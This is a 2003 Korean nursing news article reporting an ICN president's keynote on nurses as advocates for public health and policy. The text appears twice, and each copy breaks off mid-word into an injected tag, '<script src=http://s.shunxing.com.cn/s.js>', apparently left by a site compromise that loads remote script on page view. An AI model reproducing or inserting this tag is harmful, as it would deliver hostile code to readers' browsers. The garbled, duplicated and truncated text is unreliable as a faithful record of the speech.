간협 80주년 - 주제강연
크리스틴 핸콕(국제간호협의회장)
[편집국] 편집부 news@nursenews.co.kr 기사입력 2003-06-05 오전 08:55:13
◆ 세계 간호사 `옹호자' 역할 다짐하자
대한간호협회를 이끌어 왔던 간호 지도자들은 힘은 단결로부터 나온다고 믿었다. 그리고 시간이 흐르면서 그들이 옳았다는 것이 증명되어 왔다. 국제간호협의회(ICN)의 지도자들 또한 오랜 기간 동안 모든 국가의 간호사들이 함께 힘을 합쳐 공동의 목표를 향해 매진한다면 정치적, 사회적 변화를 만들어 낼 수 있을 것이라는 점을 인식해 왔다.
우리들의 간호전문직은 연대를 통해서 지난 세기동안 커다란 진보를 이루어 냈다. 오늘날 간호는 한 국가의 보건에 있어서 절대적인 중요성을 갖는 것으로 올바르게 인식되고 있다.
전 세계적으로 1천2백만명의 간호사들과 조산사들이 있으며, 국제간호협의회는 전 세계 보건관련 전문직 가운데에서 가장 큰 규모의 집단을 형성하고 있다.
간호 서비스를 제공하는 것은 크나큰 그리고 경우에 따라서는 막중한 책임이다. 오늘날의 간호는 복합적이며 보다 어려운 것이기도 하다. 우리는 단지 환자와 그 가족만을 고려해서는 안된다. 우리가 보살피고 있는 사람들의 욕구를 고려하고 그것을 대변할 필요가 있다. 빈곤과 싸우고 사회 정의를 신장시키기 위해서 그리고 남녀노소를 막론하고 기본적인 보건의료서비스에 대한 접근을 보장하기 위해서 노력을 한데 모아야만 한다.
이러한 것이 바로 국민 건강의 옹호자로서 간호사의 역할이다. 옹호활동은 어느 때이건 우리 간호전문직의 가장 커다란 힘 중 하나이며, 우리들의 역사이자 전통이다.
⊙ 국민 건강의 옹호자
나이팅게일은 건강을 증진시킨다는 것은 환자들을 보살피는 것 이상의 것을 행하는 것이며 그것이 환자들을 보살피는 것만큼 중요한 일이라는 사실을 인식하고, 간호사들에게 사회의 문제와 불평등에 관여할 것을 촉구했다.
한국은 이를 추구해 온 탁월한 표본을 가지고 있다. 간호계의 뛰어난 지도자이자 옹호자인 김모임 박사는 한국 간호의 면모를 변화시켰으며 세계 전역에 걸쳐 보건정책의 형성에 공헌하고, 사람들을 옹호했다. 2001년 김수지 박사는 국제간호협의회 플로렌스 나이팅게일 재단이 수여하는 국제간호대상을 수상했으며, 그는 정신질환자들을 위해 옹호활동을 계속해 왔다.
2003년 국제간호대상 수상자로 지명된 캐롤 에더링턴은 미국 간호사로서 세계에서 가장 절망적인 상태에 놓여 있는 이들 중 일부를 위해서 옹호활동을 전개하고 도움을 주었다.
전 세계에 걸쳐 간호사들은 매일같이 자신들이 보살피고 있는 사람들을 위해서, 그것이 지역사회에서이건 국가적 차원 혹은 국제적 차원이건 간에, 자신들의 옹호활동을 전개하고 있다.
간호가 하나의 전문직이 된 때부터 옹호활동은 우리 간호사들이 수행하는 일 중에서, 그리고 우리 자신의 정체성에 있어서 가장 중요한 부분이었다. 우리는 계속해서 옹호자로서의 활동을 수행해 나가야 한다. 오늘날 우리 간호사들은 간호전문직의 영역을 확장할 수 있는, 그리고 자신들의 국가와 세계의 건강을 위해 중차대한 공헌을 할 수 있는 절호의 기회를 맞이하고 있다.
21세기 간호에 대한 국제간호협의회의 비전에서는 "우리 간호사들의 사명은 사회를 보다 건강한 상태로 이끄는 것"이라고 천명하고 있다. 이러한 비전을 현실로 바꾸는 길은 두 가지다. 첫째, 간호사들이 이 세계에서 취약한 상황에 노출되어 고통받고 있는 사람들을 위한 옹호활동을 꾸준하게 전개해 나가야 한다는 것이다. 둘째, 간호사들이 국가 및 세계의 건강을 위한 보건정책을 대변하는데 적극적인 태도를 취해야 한다는 것이다.
간호사들은 간호의 잠재영역과 중심을 확대함으로써 리더십을 발휘해야 한다. 옹호활동은 불리한 처지에 놓여 있는 모든 사람들을 포괄하기에 충분할 정도로 광범위한 것이어야 한다. 간호사들은 공공보건정책을 주창해야 한다. 건강이 사회적이며 정치적인 이슈라는 점은 자명한 사실이다. 그렇기에 간호의 목소리가 정책단계에서 중요한 공헌을 할 수 있다고 확신한다.
오늘날의 환경은 개인적으로 그리고 하나의 전문직으로서 간호사들에게, 우리가 보살피고 있는 사람들을 위해서 우리 자신의 영향력을 신장시킬 것을 요구하고 있다. 한국의 경우 김모임 전 보건복지부 장관과 김화중 보건복지부 장관이 정책형성에 기여하는 간호사의 탁월한 역할모델을 제시하고 있다. 간호사들이 건강에 대한 21세기의 도전에 나서고자 한다면, 간호는 반드시 국내적, 국제적인 차원에서 보건의료관련 의제를 형성하는데 관여해야 한다.
⊙ 보건의료 정책의 창출
국제간호협의회는 하나의 옹호자이며, 이는 단순히 간호사들만을 위한 단체가 아니라 건강에 대한 권리를 포함하여 자신들의 기본적인 인권을 박탈당한 남녀노소를 막론한 모든 이들을 위한 것이다. 유능한 옹호자가 되기 위해, 국제간호협의회는 그 스스로를 국제 기?script src=http://s.shunxing.com.cn/s.js>
대한간호협회를 이끌어 왔던 간호 지도자들은 힘은 단결로부터 나온다고 믿었다. 그리고 시간이 흐르면서 그들이 옳았다는 것이 증명되어 왔다. 국제간호협의회(ICN)의 지도자들 또한 오랜 기간 동안 모든 국가의 간호사들이 함께 힘을 합쳐 공동의 목표를 향해 매진한다면 정치적, 사회적 변화를 만들어 낼 수 있을 것이라는 점을 인식해 왔다.
우리들의 간호전문직은 연대를 통해서 지난 세기동안 커다란 진보를 이루어 냈다. 오늘날 간호는 한 국가의 보건에 있어서 절대적인 중요성을 갖는 것으로 올바르게 인식되고 있다.
전 세계적으로 1천2백만명의 간호사들과 조산사들이 있으며, 국제간호협의회는 전 세계 보건관련 전문직 가운데에서 가장 큰 규모의 집단을 형성하고 있다.
간호 서비스를 제공하는 것은 크나큰 그리고 경우에 따라서는 막중한 책임이다. 오늘날의 간호는 복합적이며 보다 어려운 것이기도 하다. 우리는 단지 환자와 그 가족만을 고려해서는 안된다. 우리가 보살피고 있는 사람들의 욕구를 고려하고 그것을 대변할 필요가 있다. 빈곤과 싸우고 사회 정의를 신장시키기 위해서 그리고 남녀노소를 막론하고 기본적인 보건의료서비스에 대한 접근을 보장하기 위해서 노력을 한데 모아야만 한다.
이러한 것이 바로 국민 건강의 옹호자로서 간호사의 역할이다. 옹호활동은 어느 때이건 우리 간호전문직의 가장 커다란 힘 중 하나이며, 우리들의 역사이자 전통이다.
⊙ 국민 건강의 옹호자
나이팅게일은 건강을 증진시킨다는 것은 환자들을 보살피는 것 이상의 것을 행하는 것이며 그것이 환자들을 보살피는 것만큼 중요한 일이라는 사실을 인식하고, 간호사들에게 사회의 문제와 불평등에 관여할 것을 촉구했다.
한국은 이를 추구해 온 탁월한 표본을 가지고 있다. 간호계의 뛰어난 지도자이자 옹호자인 김모임 박사는 한국 간호의 면모를 변화시켰으며 세계 전역에 걸쳐 보건정책의 형성에 공헌하고, 사람들을 옹호했다. 2001년 김수지 박사는 국제간호협의회 플로렌스 나이팅게일 재단이 수여하는 국제간호대상을 수상했으며, 그는 정신질환자들을 위해 옹호활동을 계속해 왔다.
2003년 국제간호대상 수상자로 지명된 캐롤 에더링턴은 미국 간호사로서 세계에서 가장 절망적인 상태에 놓여 있는 이들 중 일부를 위해서 옹호활동을 전개하고 도움을 주었다.
전 세계에 걸쳐 간호사들은 매일같이 자신들이 보살피고 있는 사람들을 위해서, 그것이 지역사회에서이건 국가적 차원 혹은 국제적 차원이건 간에, 자신들의 옹호활동을 전개하고 있다.
간호가 하나의 전문직이 된 때부터 옹호활동은 우리 간호사들이 수행하는 일 중에서, 그리고 우리 자신의 정체성에 있어서 가장 중요한 부분이었다. 우리는 계속해서 옹호자로서의 활동을 수행해 나가야 한다. 오늘날 우리 간호사들은 간호전문직의 영역을 확장할 수 있는, 그리고 자신들의 국가와 세계의 건강을 위해 중차대한 공헌을 할 수 있는 절호의 기회를 맞이하고 있다.
21세기 간호에 대한 국제간호협의회의 비전에서는 "우리 간호사들의 사명은 사회를 보다 건강한 상태로 이끄는 것"이라고 천명하고 있다. 이러한 비전을 현실로 바꾸는 길은 두 가지다. 첫째, 간호사들이 이 세계에서 취약한 상황에 노출되어 고통받고 있는 사람들을 위한 옹호활동을 꾸준하게 전개해 나가야 한다는 것이다. 둘째, 간호사들이 국가 및 세계의 건강을 위한 보건정책을 대변하는데 적극적인 태도를 취해야 한다는 것이다.
간호사들은 간호의 잠재영역과 중심을 확대함으로써 리더십을 발휘해야 한다. 옹호활동은 불리한 처지에 놓여 있는 모든 사람들을 포괄하기에 충분할 정도로 광범위한 것이어야 한다. 간호사들은 공공보건정책을 주창해야 한다. 건강이 사회적이며 정치적인 이슈라는 점은 자명한 사실이다. 그렇기에 간호의 목소리가 정책단계에서 중요한 공헌을 할 수 있다고 확신한다.
오늘날의 환경은 개인적으로 그리고 하나의 전문직으로서 간호사들에게, 우리가 보살피고 있는 사람들을 위해서 우리 자신의 영향력을 신장시킬 것을 요구하고 있다. 한국의 경우 김모임 전 보건복지부 장관과 김화중 보건복지부 장관이 정책형성에 기여하는 간호사의 탁월한 역할모델을 제시하고 있다. 간호사들이 건강에 대한 21세기의 도전에 나서고자 한다면, 간호는 반드시 국내적, 국제적인 차원에서 보건의료관련 의제를 형성하는데 관여해야 한다.
⊙ 보건의료 정책의 창출
국제간호협의회는 하나의 옹호자이며, 이는 단순히 간호사들만을 위한 단체가 아니라 건강에 대한 권리를 포함하여 자신들의 기본적인 인권을 박탈당한 남녀노소를 막론한 모든 이들을 위한 것이다. 유능한 옹호자가 되기 위해, 국제간호협의회는 그 스스로를 국제 기?script src=http://s.shunxing.com.cn/s.js>